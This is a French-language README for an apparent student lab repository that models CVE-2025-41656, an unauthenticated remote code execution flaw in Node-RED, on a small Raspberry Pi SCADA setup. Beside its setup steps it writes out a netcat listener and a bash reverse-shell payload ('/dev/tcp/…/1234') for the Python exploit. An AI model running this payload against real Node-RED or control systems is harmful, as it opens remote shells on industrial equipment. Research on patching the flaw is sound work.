
Ce dépôt comprend le code et les fichiers nécessaires pour tester et exécuter un PoC pour CVE-2025-41656
Ce projet existe pour modéliser CVE-2025-41656, une vulnérabilité d'exécution de code à distance non authentifiée pour NodeRED. Pour modéliser cette vulnérabilité, nous avons créé un système SCADA de petit format avec un Raspberry Pi, un actionneur et un capteur. Le Raspberry Pi contient un conteneur NodeRED et un conteneur OpenPLC qui communiquent entre eux via Modbus TCP pour contrôler l'actionneur. Il s'agit d'un script de preuve de concept en Python pour réaliser l'attaque CVE-2025-41656. L'objectif est de créer avec succès un PoC et de trouver des correctifs pour sécuriser le système.
git clone [email protected]:wallyschag/CVE-2025-41656.git
cd CVE-2025-41656
git clone https://github.com/thiagoralves/OpenPLC_v3.git
rm OpenPLC_v3/Dockerfile && cp Dockerfile_WiringPi OpenPLC_v3/Dockerfile
docker compose up --build -d
docker container ls
docker network inspect csci587-final-project_scadanet
nc -lvnp 1234NODE_RED_IP et NODE_RED_PORT par l'adresse IP et le port (1880) de votre service NodeRED dans cve_2025_41656.py.cve_2025_41656, changez l'adresse IP dans la ligne "command": "bash -c 'bash -i >& /dev/tcp/192.168.4.223/1234 0>&1'", par l'adresse IP de la machine depuis laquelle vous lancez l'exploit.python3 cve_2025_41656.py